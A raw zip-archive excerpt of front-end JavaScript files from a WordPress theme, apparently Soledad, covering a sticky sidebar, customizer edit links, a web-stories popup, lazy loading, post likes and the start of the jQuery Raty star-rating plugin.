					// If the sidebar position is fixed, then it won't move up or down by itself. So, we manually adjust the top coordinate.
					if (o.stickySidebar.css('position') == 'fixed') {
						top += scrollTopDiff;
					}
					
					if (scrollTopDiff > 0) { // If the user is scrolling up.
						top = Math.min(top, windowOffsetTop);
					}
					else { // If the user is scrolling down.
						top = Math.max(top, windowOffsetBottom - o.stickySidebar.outerHeight());
					}

					top = Math.max(top, staticLimitTop);

					top = Math.min(top, staticLimitBottom - o.stickySidebar.outerHeight());
					
					// If the sidebar is the same height as the container, we won't use fixed positioning.
					var sidebarSameHeightAsContainer = o.container.height() == o.stickySidebar.outerHeight();
					
					if (!sidebarSameHeightAsContainer && top == windowOffsetTop) {
						position = 'fixed';
					}
					else if (!sidebarSameHeightAsContainer && top == windowOffsetBottom - o.stickySidebar.outerHeight()) {
						position = 'fixed';
					}
					else if (scrollTop + top - o.sidebar.offset().top - o.paddingTop <= options.additionalMarginTop) {
						position = 'static';
					}
					else {
						position = 'absolute';
					}
				}

				/*
				 * Performance notice: It's OK to set these CSS values at each resize/scroll, even if they don't change.
				 * It's way slower to first check if the values have changed.
				 */
				if (position == 'fixed') {
					o.stickySidebar.css({
						'position': 'fixed',
						'width': o.sidebar.width(),
						'top': top,
						'left': o.sidebar.offset().left + parseInt(o.sidebar.css('padding-left'))  + parseInt(o.sidebar.css('border-left'))
					});
				}
				else if (position == 'absolute') {
					var css = {};

					if (o.stickySidebar.css('position') != 'absolute') {
						css.position = 'absolute';
						css.top = scrollTop + top - o.sidebar.offset().top - o.stickySidebarPaddingTop - o.stickySidebarPaddingBottom;
					}

					css.width = o.sidebar.width();
					css.left = '';

					o.stickySidebar.css(css);
				}
				else if (position == 'static') {
					resetSidebar();
				}

				if (position != 'static') {
					if (o.options.updateSidebarHeight == true) {
						o.sidebar.css({
							'min-height': o.stickySidebar.outerHeight() + o.stickySidebar.offset().top - o.sidebar.offset().top + o.paddingBottom
						});
					}
				}
				
				o.previousScrollTop = scrollTop;
			};

			// Initialize the sidebar's position.
			o.onScroll(o);

			// Recalculate the sidebar's position on every scroll and resize.
			$(document).on( 'scroll', function(o) {
				return function() {
					o.onScroll(o);
				};
			}(o));
			$(window).on( 'resize',function(o) {
				return function() {
					o.stickySidebar.css({'position': 'static'});
					o.onScroll(o);
				};
			}(o));

			// Reset the sidebar to its default state
			function resetSidebar() {
				o.fixedScrollTop = 0;
				o.sidebar.css({
					'min-height': '1px'
				});
				o.stickySidebar.css({
					'position': 'static',
					'width': ''
				});
			}

			// Get the height of a div as if its floated children were cleared. Note that this function fails if the floats are more than one level deep.
			function getClearedHeight(e) {
				var height = e.height();

				e.children().each(function() {
					height = Math.max(height, $(this).height());
				});

				return height;
			}
		});
	}
})(jQuery);
PK     N\@      js/customizer-preview.jsnu [        /**
 * Script for customizer preview.
 */
(function ( $, api ){

    var quick_customizer_sections = {
        '#header' : 'pencidesign_logo_header_general_section',
        '#widget-area' : 'penci_section_footer_widgets_section',
        '#navigation' : 'pencidesign_logo_header_primary_menu_section',
        '.featuredsl-customizer' : 'penci_section_fslider_general_section',
        '.home-featured-cat' : 'penci_section_homepage_featured_cat_section',
        '.penci-homepage-title' : 'penci_section_homepage_title_box_section',
        '#footer-section' : 'penci_section_footer_general_section',
        '.penci-wrapper-posts-content' : 'penci_section_homepage_general_section',
        '.penci-home-popular-posts': 'penci_section_homepage_popular_posts_section',
        'body.single article.post': 'penci_section_spost_general_section',
        'body.single .post-related': 'penci_section_spost_related_posts_section',
        'body.single #comments': 'penci_section_spost_comments_section',
        '#sidebar': 'penci_section_sidebar_general_section',
        '.penci-wrapper-posts-content .standard-article,#main .standard-article': 'penci_section_standard_classic_section',
        '.penci-wrapper-posts-content ul.penci-grid li,.penci-wrapper-data li': 'penci_section_other_layouts_section',
        '.penci-wrapper-posts-content .grid-overlay,.penci-wrapper-data .grid-overlay': 'penci_section_other_layouts_section',
        '.penci-wrapper-posts-content .grid-featured,.penci-wrapper-data .grid-featured': 'penci_section_other_layouts_section',
        '.penci-wrapper-posts-content .item-masonry,.penci-wrapper-data .item-masonry': 'penci_section_other_layouts_section',
        '.penci-wrapper-posts-content .grid-mixed,.penci-wrapper-data .grid-mixed': 'penci_section_other_layouts_section',
        'body.category .penci-wrapper-data': 'pencidesign_general_archive_page_section',
        '#widget-area .footer-widget-wrapper': 'widgets_edit',
        '#sidebar-nav': 'pencidesign_logo_header_verticalnav_section',
        '.penci-menu-hbg': 'penci_menu_hbg_section',
    }

    var $image = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M13.89 3.39l2.71 2.72c.46.46.42 1.24.03 1.64l-8.01 8.02-5.56 1.16 1.16-5.58s7.6-7.63 7.99-8.03c.39-.39 1.22-.39 1.68.07zm-2.73 2.79l-5.59 5.61 1.11 1.11 5.54-5.65zm-2.97 8.23l5.58-5.6-1.07-1.08-5.59 5.6z"/></svg>';

    for (const [selector, identifier] of Object.entries(quick_customizer_sections)) {
        $(selector).css('position','relative');
        if ( identifier == 'widgets_edit' ) {
            $(selector).append('<a class="soledad-customizer-edit-link custom-link '+identifier+'" data-href="'+ PenciPreview.widgetURL +'"><button>'+$image+'</button></a>');
        } else {
            $(selector).append('<span class="soledad-customizer-edit-link" data-section="'+ identifier +'"><button>'+$image+'</button></span>');
        }
        
    }

})( jQuery, wp.customize );PK     N\Z8  8    js/web-stories.jsnu [        (function ($) {
    "use strict";
    var PENCI = PENCI || {};
    PENCI.webstories = function () {
        $(document).on('click', '.pc-story-link', function (e) {

            e.preventDefault();

            var $this = $(this),
                $ul = $this.closest('.pc-wstories').find('.pc-wstories-list'),
                id = $this.attr('data-id'),
                url = $this.attr('data-url'),
                pos = parseInt($this.attr('data-count')),
                total = parseInt($ul.attr('data-total')),
                n, nid, nurl, nc, p, pid, purl, pc,
                seen = Cookies.get('pc_webstories_seen'),
                wrapper = $this.closest('.pc-wstories').find('.pc-wstories-popup-wrapper'),
                wrapperCT = $this.closest('.pc-wstories').find('.pc-wstories-popup-content');

            if ($this.hasClass('disable')) {
                return false;
            }

            $(wrapper).find('.current').html(pos);
            $(wrapper).find('.total').html(total);

            if (pos < total) {
                n = $ul.find('.pc-webstory-item.item-' + (pos + 1));
                nid = n.attr('data-id');
                nurl = n.attr('data-url');
                nc = n.attr('data-count');
            }

            if (pos > 1) {
                p = $ul.find('.pc-webstory-item.item-' + (pos - 1));
                pid = p.attr('data-id');
                purl = p.attr('data-url');
                pc = p.attr('data-count');
            }

            $.ajax({
                type: "GET",
                dataType: "html",
                url: url,
                beforeSend: function () {
                    wrapper.addClass('loading');
                    $('body').addClass('pc-webstories-show');
                },
                success: function () {
                    wrapperCT.empty().append('<iframe src="' + url + '"/>');
                },
                complete: function () {
                    wrapper.removeClass('loading').addClass('show');
                    $ul.find('.pc-webstory-item.item-' + pos).removeClass('new').addClass('seen');

                    var $next = wrapper.find('.pc-ws-btn.next'),
                        $previous = wrapper.find('.pc-ws-btn.previous');

                    if (nid && nurl) {
                        $next.attr('data-id', nid)
                            .attr('data-url', nurl)
                            .attr('data-count', nc)
                            .removeClass('disable');
                    } else {
                        $next.addClass('disable')
                            .removeAttr('data-id data-url data-count');
                    }

                    if (pid && purl) {
                        $previous.attr('data-id', pid)
                            .attr('data-url', purl)
                            .attr('data-count', pc)
                            .removeClass('disable');
                    } else {
                        $previous.addClass('disable')
                            .removeAttr('data-id data-url data-count');
                    }

                    if (seen === undefined) {
                        Cookies.set('pc_webstories_seen', id);
                    } else {
                        Cookies.set('pc_webstories_seen', seen + '|' + id);
                    }
                }
            });
            return false;
        });

        $(document).on('click', '.pc-wstories-popup-wrapper .close', function (e) {

            e.preventDefault();
            var wrapperCT = $(this).closest('.pc-wstories').find('.pc-wstories-popup-content'),
                wrapper = $(this).closest('.pc-wstories').find('.pc-wstories-popup-wrapper');

            wrapper.removeClass('show');
            $('body').removeClass('pc-webstories-show');
            wrapperCT.empty();
        });


        var onerow_lists = $('.pc-wstories-list.one-row');
        onerow_lists.each(function (){
            const slider = $(this);
            let isDown = false;
            let startX;
            let scrollLeft;
            var soffset = slider.offset();

            slider.on('mousedown', function (e) {
                isDown = true;
                startX = e.pageX - soffset.left;
                scrollLeft = slider.scrollLeft();
            });
            slider.on('mouseleave', function () {
                isDown = false;
            });
            slider.on('mouseup', function () {
                isDown = false;
            });
            slider.on('mousemove', function (e) {
                if(!isDown) return;
                e.preventDefault();
                const x = e.pageX - soffset.left;
                const walk = (x - startX) * 2; //scroll-fast
                slider.scrollLeft(scrollLeft - walk);
            });
        });
    };

    $(document).ready(function () {
        PENCI.webstories();
    });
})(jQuery);
PK     N\Q  Q    js/getpaid.jsnu [        (function ($) {

    'use strict';

    $(document).on('ready', function (e, data) {
        var wrapper = $('#wpinv_item_details'),
            select = $('#wpinv_item_type');
        wrapper.find('.penci_gp_options').hide();

        var classname = select.val();
        wrapper.find('.penci_gp_options').hide();
        wrapper.find('.pc_show_' + classname).show();

        select.on('change', function (e) {
            classname = this.value;
            wrapper.find('.penci_gp_options').hide();
            wrapper.find('.pc_show_' + classname).show();
        });

    });
})(jQuery)PK     N\"  "    js/penci-lazy.jsnu [        !function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(n="undefined"!=typeof globalThis?globalThis:n||self).LazyLoad=t()}(this,(function(){"use strict";function n(){return n=Object.assign||function(n){for(var t=1;t<arguments.length;t++){var e=arguments[t];for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(n[i]=e[i])}return n},n.apply(this,arguments)}var t="undefined"!=typeof window,e=t&&!("onscroll"in window)||"undefined"!=typeof navigator&&/(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent),i=t&&"IntersectionObserver"in window,o=t&&"classList"in document.createElement("p"),a=t&&window.devicePixelRatio>1,r={elements_selector:".lazy",container:e||t?document:null,threshold:300,thresholds:null,data_src:"src",data_srcset:"srcset",data_sizes:"sizes",data_bg:"bg",data_bg_hidpi:"bg-hidpi",data_bg_multi:"bg-multi",data_bg_multi_hidpi:"bg-multi-hidpi",data_poster:"poster",class_applied:"applied",class_loading:"loading",class_loaded:"loaded",class_error:"error",class_entered:"entered",class_exited:"exited",unobserve_completed:!0,unobserve_entered:!1,cancel_on_exit:!0,callback_enter:null,callback_exit:null,callback_applied:null,callback_loading:null,callback_loaded:null,callback_error:null,callback_finish:null,callback_cancel:null,use_native:!1},c=function(t){return n({},r,t)},u=function(n,t){var e,i="LazyLoad::Initialized",o=new n(t);try{e=new CustomEvent(i,{detail:{instance:o}})}catch(n){(e=document.createEvent("CustomEvent")).initCustomEvent(i,!1,!1,{instance:o})}window.dispatchEvent(e)},l="src",s="srcset",f="sizes",d="poster",_="llOriginalAttrs",g="loading",v="loaded",b="applied",p="error",h="native",m="data-",E="ll-status",I=function(n,t){return n.getAttribute(m+t)},y=function(n){return I(n,E)},A=function(n,t){return function(n,t,e){var i="data-ll-status";null!==e?n.setAttribute(i,e):n.removeAttribute(i)}(n,0,t)},k=function(n){return A(n,null)},L=function(n){return null===y(n)},w=function(n){return y(n)===h},x=[g,v,b,p],O=function(n,t,e,i){n&&(void 0===i?void 0===e?n(t):n(t,e):n(t,e,i))},N=function(n,t){o?n.classList.add(t):n.className+=(n.className?" ":"")+t},C=function(n,t){o?n.classList.remove(t):n.className=n.className.replace(new RegExp("(^|\\s+)"+t+"(\\s+|$)")," ").replace(/^\s+/,"").replace(/\s+$/,"")},M=function(n){return n.llTempImage},z=function(n,t){if(t){var e=t._observer;e&&e.unobserve(n)}},R=function(n,t){n&&(n.loadingCount+=t)},T=function(n,t){n&&(n.toLoadCount=t)},G=function(n){for(var t,e=[],i=0;t=n.children[i];i+=1)"SOURCE"===t.tagName&&e.push(t);return e},D=function(n,t){var e=n.parentNode;e&&"PICTURE"===e.tagName&&G(e).forEach(t)},V=function(n,t){G(n).forEach(t)},F=[l],j=[l,d],P=[l,s,f],S=function(n){return!!n[_]},U=function(n){return n[_]},$=function(n){return delete n[_]},q=function(n,t){if(!S(n)){var e={};t.forEach((function(t){e[t]=n.getAttribute(t)})),n[_]=e}},H=function(n,t){if(S(n)){var e=U(n);t.forEach((function(t){!function(n,t,e){e?n.setAttribute(t,e):n.removeAttribute(t)}(n,t,e[t])}))}},B=function(n,t,e){N(n,t.class_loading),A(n,g),e&&(R(e,1),O(t.callback_loading,n,e))},J=function(n,t,e){e&&n.setAttribute(t,e)},K=function(n,t){J(n,f,I(n,t.data_sizes)),J(n,s,I(n,t.data_srcset)),J(n,l,I(n,t.data_src))},Q={IMG:function(n,t){D(n,(function(n){q(n,P),K(n,t)})),q(n,P),K(n,t)},IFRAME:function(n,t){q(n,F),J(n,l,I(n,t.data_src))},VIDEO:function(n,t){V(n,(function(n){q(n,F),J(n,l,I(n,t.data_src))})),q(n,j),J(n,d,I(n,t.data_poster)),J(n,l,I(n,t.data_src)),n.load()}},W=["IMG","IFRAME","VIDEO"],X=function(n,t){!t||function(n){return n.loadingCount>0}(t)||function(n){return n.toLoadCount>0}(t)||O(n.callback_finish,t)},Y=function(n,t,e){n.addEventListener(t,e),n.llEvLisnrs[t]=e},Z=function(n,t,e){n.removeEventListener(t,e)},nn=function(n){return!!n.llEvLisnrs},tn=function(n){if(nn(n)){var t=n.llEvLisnrs;for(var e in t){var i=t[e];Z(n,e,i)}delete n.llEvLisnrs}},en=function(n,t,e){!function(n){delete n.llTempImage}(n),R(e,-1),function(n){n&&(n.toLoadCount-=1)}(e),C(n,t.class_loading),t.unobserve_completed&&z(n,e)},on=function(n,t,e){var i=M(n)||n;nn(i)||function(n,t,e){nn(n)||(n.llEvLisnrs={});var i="VIDEO"===n.tagName?"loadeddata":"load";Y(n,i,t),Y(n,"error",e)}(i,(function(o){!function(n,t,e,i){var o=w(t);en(t,e,i),N(t,e.class_loaded),A(t,v),O(e.callback_loaded,t,i),o||X(e,i)}(0,n,t,e),tn(i)}),(function(o){!function(n,t,e,i){var o=w(t);en(t,e,i),N(t,e.class_error),A(t,p),O(e.callback_error,t,i),o||X(e,i)}(0,n,t,e),tn(i)}))},an=function(n,t,e){!function(n){n.llTempImage=document.createElement("IMG")}(n),on(n,t,e),function(n){S(n)||(n[_]={backgroundImage:n.style.backgroundImage})}(n),function(n,t,e){var i=I(n,t.data_bg),o=I(n,t.data_bg_hidpi),r=a&&o?o:i;r&&(n.style.backgroundImage='url("'.concat(r,'")'),M(n).setAttribute(l,r),B(n,t,e))}(n,t,e),function(n,t,e){var i=I(n,t.data_bg_multi),o=I(n,t.data_bg_multi_hidpi),r=a&&o?o:i;r&&(n.style.backgroundImage=r,function(n,t,e){N(n,t.class_applied),A(n,b),e&&(t.unobserve_completed&&z(n,t),O(t.callback_applied,n,e))}(n,t,e))}(n,t,e)},rn=function(n,t,e){!function(n){return W.indexOf(n.tagName)>-1}(n)?an(n,t,e):function(n,t,e){on(n,t,e),function(n,t,e){var i=Q[n.tagName];i&&(i(n,t),B(n,t,e))}(n,t,e)}(n,t,e)},cn=function(n){n.removeAttribute(l),n.removeAttribute(s),n.removeAttribute(f)},un=function(n){D(n,(function(n){H(n,P)})),H(n,P)},ln={IMG:un,IFRAME:function(n){H(n,F)},VIDEO:function(n){V(n,(function(n){H(n,F)})),H(n,j),n.load()}},sn=function(n,t){(function(n){var t=ln[n.tagName];t?t(n):function(n){if(S(n)){var t=U(n);n.style.backgroundImage=t.backgroundImage}}(n)})(n),function(n,t){L(n)||w(n)||(C(n,t.class_entered),C(n,t.class_exited),C(n,t.class_applied),C(n,t.class_loading),C(n,t.class_loaded),C(n,t.class_error))}(n,t),k(n),$(n)},fn=["IMG","IFRAME","VIDEO"],dn=function(n){return n.use_native&&"loading"in HTMLImageElement.prototype},_n=function(n,t,e){n.forEach((function(n){return function(n){return n.isIntersecting||n.intersectionRatio>0}(n)?function(n,t,e,i){var o=function(n){return x.indexOf(y(n))>=0}(n);A(n,"entered"),N(n,e.class_entered),C(n,e.class_exited),function(n,t,e){t.unobserve_entered&&z(n,e)}(n,e,i),O(e.callback_enter,n,t,i),o||rn(n,e,i)}(n.target,n,t,e):function(n,t,e,i){L(n)||(N(n,e.class_exited),function(n,t,e,i){e.cancel_on_exit&&function(n){return y(n)===g}(n)&&"IMG"===n.tagName&&(tn(n),function(n){D(n,(function(n){cn(n)})),cn(n)}(n),un(n),C(n,e.class_loading),R(i,-1),k(n),O(e.callback_cancel,n,t,i))}(n,t,e,i),O(e.callback_exit,n,t,i))}(n.target,n,t,e)}))},gn=function(n){return Array.prototype.slice.call(n)},vn=function(n){return n.container.querySelectorAll(n.elements_selector)},bn=function(n){return function(n){return y(n)===p}(n)},pn=function(n,t){return function(n){return gn(n).filter(L)}(n||vn(t))},hn=function(n,e){var o=c(n);this._settings=o,this.loadingCount=0,function(n,t){i&&!dn(n)&&(t._observer=new IntersectionObserver((function(e){_n(e,n,t)}),function(n){return{root:n.container===document?null:n.container,rootMargin:n.thresholds||n.threshold+"px"}}(n)))}(o,this),function(n,e){t&&window.addEventListener("online",(function(){!function(n,t){var e;(e=vn(n),gn(e).filter(bn)).forEach((function(t){C(t,n.class_error),k(t)})),t.update()}(n,e)}))}(o,this),this.update(e)};return hn.prototype={update:function(n){var t,o,a=this._settings,r=pn(n,a);T(this,r.length),!e&&i?dn(a)?function(n,t,e){n.forEach((function(n){-1!==fn.indexOf(n.tagName)&&function(n,t,e){n.setAttribute("loading","lazy"),on(n,t,e),function(n,t){var e=Q[n.tagName];e&&e(n,t)}(n,t),A(n,h)}(n,t,e)})),T(e,0)}(r,a,this):(o=r,function(n){n.disconnect()}(t=this._observer),function(n,t){t.forEach((function(t){n.observe(t)}))}(t,o)):this.loadAll(r)},destroy:function(){this._observer&&this._observer.disconnect(),vn(this._settings).forEach((function(n){$(n)})),delete this._observer,delete this._settings,delete this.loadingCount,delete this.toLoadCount},loadAll:function(n){var t=this,e=this._settings;pn(n,e).forEach((function(n){z(n,t),rn(n,e,t)}))},restoreAll:function(){var n=this._settings;vn(n).forEach((function(t){sn(t,n)}))}},hn.load=function(n,t){var e=c(t);rn(n,e)},hn.resetStatus=function(n){k(n)},t&&function(n,t){if(t)if(t.length)for(var e,i=0;e=t[i];i+=1)u(n,e);else u(n,t)}(hn,window.lazyLoadOptions),hn}));

(function () {

    var PenciLazy = new LazyLoad({
        elements_selector: '.penci-lazy',
        data_bg: 'bgset',
        class_loading: 'lazyloading',
        class_entered: 'lazyloaded',
        class_loaded: 'pcloaded',
        unobserve_entered: true
    });

    MutationObserver = window.MutationObserver || window.WebKitMutationObserver;

    var observer = new MutationObserver(function(mutations, observer) {
        PenciLazy.update();
    });

    observer.observe(document, {
        subtree: true,
        attributes: true
    });
})();
PK     N\N2      js/doubletaptogo.jsnu [        /* ===========================================================
 * Short library doubletaptogo.js
 * It's great tut for this: http://osvaldas.info/drop-down-navigation-responsive-and-touch-friendly
 * 
 * Double touch and go to with main navigation drop down
 * This function work only in mobile and tablet device
 *
 * By Osvaldas Valutis, www.osvaldas.info
 * Available for use under the MIT License
 * ========================================================== */
(function ( $, window, document )
{
	'use strict';

	$.fn.doubleTouchToGo = function ()
	{
		if ( !( 'ontouchstart' in window ) && !navigator.msMaxTouchPoints && !navigator.userAgent.toLowerCase().match( /windows phone os 7/i ) )
			return false;

		this.each( function ()
		{
			var curItem = false;

			$( this ).on( 'click', function ( e )
			{
				var item = $( this );
				if ( item[0] != curItem[0] )
				{
					e.preventDefault();
					curItem = item;
				}
			} );

			$( document ).on( 'click touchstart MSPointerDown', function ( e )
			{
				var resetItem = true,
					parents = $( e.target ).parents();

				for ( var i = 0; i < parents.length; i++ )
					if ( parents[i] == curItem[0] )
						resetItem = false;

				if ( resetItem )
					curItem = false;
			} );
		} );
		return this;
	};
})( jQuery, window, document );PK     N\fԌ>  >    js/post-like.min.jsnu [        jQuery(document).ready(function(e){jQuery("body").on("click",".penci-post-like",function(t){t.preventDefault();var a=jQuery(this),i=a.data("post_id"),n=a.data("reaction"),s=(a.data("like"),a.data("unlike"),a.children(".dt-share"));a.hasClass("single-like-button")&&(s=a.parent().find(".count-number-like")),a.hasClass("penci-post-reaction")&&(s=a.closest(".penci-post-reaction-item").find(".dt-share"));var l=parseInt(s.text());a.hasClass("single-like-button")&&(s=e(".post-share-plike .count-number-like"),a=e(".single-like-button")),a.hasClass("liked")?(a.removeClass("liked"),a.prop("title","Like"),s.html(l-1)):(a.addClass("liked"),a.prop("title","Unlike"),s.html(l+1)),jQuery.ajax({type:"post",url:ajax_var_more.url,data:"action=penci-post-like&nonce="+ajax_var_more.nonce+"&penci_post_like=&post_id="+i+"&reaction="+n})})});PK     N\N      js/inview.jsnu [        (function(e){function m(){var b=window.innerHeight;if(b)return b;var f=document.compatMode;if(f||!e.support.boxModel)b="CSS1Compat"===f?document.documentElement.clientHeight:document.body.clientHeight;return b}var n=function(b,f){function e(){null!==a?c=!0:(c=!1,b(),a=setTimeout(function(){a=null;c&&e()},f))}var c=!1,a=null;return e}(function(){var b=window.pageYOffset||document.documentElement.scrollTop||document.body.scrollTop,f=b+m(),g=[];e.each(e.cache,function(){this.events&&this.events.inview&&
g.push(this.handle.elem)});e(g).each(function(){var c=e(this),a;a=0;for(var d=this;d;d=d.offsetParent)a+=d.offsetTop;var d=c.height(),k=a+d,d=c.data("inview")||!1,h=c.data("offset")||0,g=a>b&&k<f,l=k+h>b&&a<b,h=a-h<f&&k>f;g||l||h||a<b&&k>f?(a=h?"top":l?"bottom":"both",d&&d===a||(c.data("inview",a),c.trigger("inview",[!0,a]))):!g&&d&&(c.data("inview",!1),c.trigger("inview",[!1]))})},100);e(window).on("checkInView.inview click.inview ready.inview scroll.inview resize.inview",n)})(jQuery);
PK     N\,xK  K    js/jquery.raty.jsnu [        /*!
 * jQuery Raty - A Star Rating Plugin
 *
 * The MIT License
 *
 * @author  : Washington Botelho
 * @doc     : http://wbotelhos.com/raty
 * @version : 2.7.0
 *
 */

;
(function($) {
  'use strict';

  var methods = {
    init: function(options) {
      return this.each(function() {
        this.self = $(this);

        methods.destroy.call(this.self);

        this.opt = $.extend(true, {}, $.fn.raty.defaults, options);

        methods._adjustCallback.call(this);
        methods._adjustNumber.call(this);
        methods._adjustHints.call(this);

        this.opt.score = methods._adjustedScore.call(this, this.opt.score);

        if (this.opt.starType !== 'img') {
          methods._adjustStarType.call(this);
        }

        methods._adjustPath.call(this);
        methods._createStars.call(this);

        if (this.opt.cancel) {
          methods._createCancel.call(this);
        }

        if (this.opt.precision) {
          methods._adjustPrecision.call(this);
        }

        methods._createScore.call(this);
        methods._apply.call(this, this.opt.score);
        methods._setTitle.call(this, this.opt.score);
        methods._target.call(this, this.opt.score);

        if (this.opt.readOnly) {
          methods._lock.call(this);
        } else {
          this.style.cursor = 'pointer';

          methods._binds.call(this);
        }
      });
    },

    _adjustCallback: function() {
      var options = ['number', 'readOnly', 'score', 'scoreName', 'target'];

      for (var i = 0; i < options.length; i++) {
        if (typeof this.opt[options[i]] === 'function') {
          this.opt[options[i]] = this.opt[options[i]].call(this);
        }
      }
    },

    _adjustedScore: function(score) {
      if (!score) {
        return score;
      }

      return methods._between(score, 0, this.opt.number);
    },

    _adjustHints: function() {
      if (!this.opt.hints) {
        this.opt.hints = [];
      }

      if (!this.opt.halfShow && !this.opt.half) {
        return;
      }

      var steps = this.opt.precision ? 10 : 2;

      for (var i = 0; i < this.opt.number; i++) {
        var group = this.opt.hints[i];

        if (Object.prototype.toString.call(group) !== '[object Array]') {
          group = [group];
        }

        this.opt.hints[i] = [];

        for (var j = 0; j < steps; j++) {
          var
            hint = group[j],
            last = group[group.length - 1];

          if (last === undefined) {
            last = null;
          }

          this.opt.hints[i][j] = hint === undefined ? last : hint;
        }
      }
    },

    _adjustNumber: function() {
      this.opt.number = methods._between(this.opt.number, 1, this.opt.numberMax);
    },

    _adjustPath: function() {
      this.opt.path = this.opt.path || '';

      if (this.opt.path && this.opt.path.charAt(this.opt.path.length - 1) !== '/') {
        this.opt.path += '/';
      }
    },

    _adjustPrecision: function() {
      this.opt.half = true;
    },

    _adjustStarType: function() {
      var replaces = ['cancelOff', 'cancelOn', 'starHalf', 'starOff', 'starOn'];

      this.opt.path = '';

      for (var i = 0; i < replaces.length; i++) {
        this.opt[replaces[i]] = this.opt[replaces[i]].replace('.', '-');
      }
    },

    _apply: function(score) {
      methods._fill.call(this, score);

      if (score) {
        if (score > 0) {
          this.score.val(score);
        }

        methods._roundStars.call(this, score);
      }
    },

    _between: function(value, min, max) {
      return Math.min(Math.max(parseFloat(value), min), max);
    },

    _binds: function() {
      if (this.cancel) {
        methods._bindOverCancel.call(this);
        methods._bindClickCancel.call(this);
        methods._bindOutCancel.call(this);
      }

      methods._bindOver.call(this);
      methods._bindClick.call(this);
      methods._bindOut.call(this);
    },

    _bindClick: function() {
      var that = this;

      that.stars.on('click.raty', function(evt) {
        var
          execute = true,
          score   = (that.opt.half || that.opt.precision) ? that.self.data('score') : (this.alt || $(this).data('alt'));

        if (that.opt.click) {
          execute = that.opt.click.call(that, +score, evt);
        }

        if (execute || execute === undefined) {
          if (that.opt.half && !that.opt.precision) {
            score = methods._roundHalfScore.call(that, score);
          }

          methods._apply.call(that, score);
        }
      });
    },

    _bindClickCancel: function() {
      var that = this;

      that.cancel.on('click.raty', function(evt) {
        that.score.removeAttr('value');

        if (that.opt.click) {
          that.opt.click.call(that, null, evt);
        }
      });
    },

    _bindOut: function() {
      var that = this;

      that.self.on('mouseleave.raty', function(evt) {
        var score = +that.score.val() || undefined;

        methods._apply.call(that, score);
        methods._target.call(that, score, evt);
        methods._resetTitle.call(that);

        if (that.opt.mouseout) {
          that.opt.mouseout.call(that, score, evt);
        }
      });
    },

    _bindOutCancel: function() {
      var that = this;

      that.cancel.on('mouseleave.raty', function(evt) {
        var icon = that.opt.cancelOff;

        if (that.opt.starType !== 'img') {
          icon = that.opt.cancelClass + ' ' + icon;
        }

        methods._setIcon.call(that, this, icon);

        if (that.opt.mouseout) {
          var score = +that.score.val() || undefined;

          that.opt.mouseout.call(that, score, evt);
        }
      });
    },

    _bindOver: function() {
      var that   = this,
          action = that.opt.half ? 'mousemove.raty' : 'mouseover.raty';

      that.stars.on(action, function(evt) {
        var score = methods._getScoreByPosition.call(that, evt, this);

        methods._fill.call(that, score);

        if (that.opt.half) {
          methods._roundStars.call(that, score, evt);
          methods._setTitle.call(that, score, evt);

          that.self.data('score', score);
        }

        methods._target.call(that, score, evt);

        if (that.opt.mouseover) {
          that.opt.mouseover.call(that, score, evt);
        }
      });
    },

    _bindOverCancel: function() {
      var that = this;

      that.cancel.on('mouseover.raty', function(evt) {
        var
          starOff = that.opt.path + that.opt.starOff,
          icon    = that.opt.cancelOn;

        if (that.opt.starType === 'img') {
          that.stars.attr('src', starOff);
        } else {
          icon = that.opt.cancelClass + ' ' + icon;

          that.stars.attr('class', starOff);
        }

        methods._setIcon.call(that, this, icon);
        methods._target.call(that, null, evt);

        if (that.opt.mouseover) {
          that.opt.mouseover.call(that, null);
        }
      });
    },

    _buildScoreField: function() {
      return $('<input />', { name: this.opt.scoreName, type: 'hidden' }).appendTo(this);
    },

    _createCancel: function() {
      var icon   = this.opt.path + this.opt.cancelOff,
          cancel = $('<' + this.opt.starType + ' />', { title: this.opt.cancelHint, 'class': this.opt.cancelClass });

      if (this.opt.starType === 'img') {
        cancel.attr({ src: icon, alt: 'x' });
      } else {
        // TODO: use $.data
        cancel.attr('data-alt', 'x').addClass(icon);
      }

      if (this.opt.cancelPlace === 'left') {
        this.self.prepend('&#160;').prepend(cancel);
      } else {
        this.self.append('&#160;').append(cancel);
      }

      this.cancel = cancel;
    },

    _createScore: function() {
      var score = $(this.opt.targetScore);

      this.score = score.length ? score : methods._buildScoreField.call(this);
    },

    _createStars: function() {
      for (var i = 1; i <= this.opt.number; i++) {
        var
          name  = methods._nameForIndex.call(this, i),
          attrs = { alt: i, src: this.opt.path + this.opt[name] };

        if (this.opt.starType !== 'img') {
          attrs = { 'data-alt': i, 'class': attrs.src }; // TODO: use $.data.
        }

        attrs.title = methods._getHint.call(this, i);

        $('<' + this.opt.starType + ' />', attrs).appendTo(this);

        if (this.opt.space) {
          this.self.append(i < this.opt.number ? '&#160;' : '');
        }
      }

      this.stars = this.self.children(this.opt.starType);
    },

    _error: function(message) {
      $(this).text(message);

      $.error(message);
    },

    _fill: function(score) {
      var hash = 0;

      for (var i = 1; i <= this.stars.length; i++) {
        var
          icon,
          star   = this.stars[i - 1],
          turnOn = methods._turnOn.call(this, i, score);

        if (this.opt.iconRange && this.opt.iconRange.length > hash) {
          var irange = this.opt.iconRange[hash];

          icon = methods._getRangeIcon.call(this, irange, turnOn);

          if (i <= irange.range) {
            methods._setIcon.call(this, star, icon);
          }

          if (i === irange.range) {
            hash++;
          }
        } else {
          icon = this.opt[turnOn ? 'starOn' : 'starOff'];

          methods._setIcon.call(this, star, icon);
        }
      }
    },

    _getFirstDecimal: function(number) {
      var
        decimal = number.toString().split('.')[1],
        result  = 0;

      if (decimal) {
        result = parseInt(decimal.charAt(0), 10);

        if (decimal.slice(1, 5) === '9999') {
          result++;
        }
      }

      return result;
    },

    _getRangeIcon: function(irange, turnOn) {
      return turnOn ? irange.on || this.opt.starOn : irange.off || this.opt.starOff;
    },

    _getScoreByPosition: function(evt, icon) {
      var score = parseInt(icon.alt || icon.getAttribute('data-alt'), 10);

      if (this.opt.half) {
        var
          size    = methods._getWidth.call(this),
          percent = parseFloat((evt.pageX - $(icon).offset().left) / size);

        score = score - 1 + percent;
      }

      return score;
    },

    _getHint: function(score, evt) {
      if (score !== 0 && !score) {
        return this.opt.noRatedMsg;
      }

      var
        decimal = methods._getFirstDecimal.call(this, score),
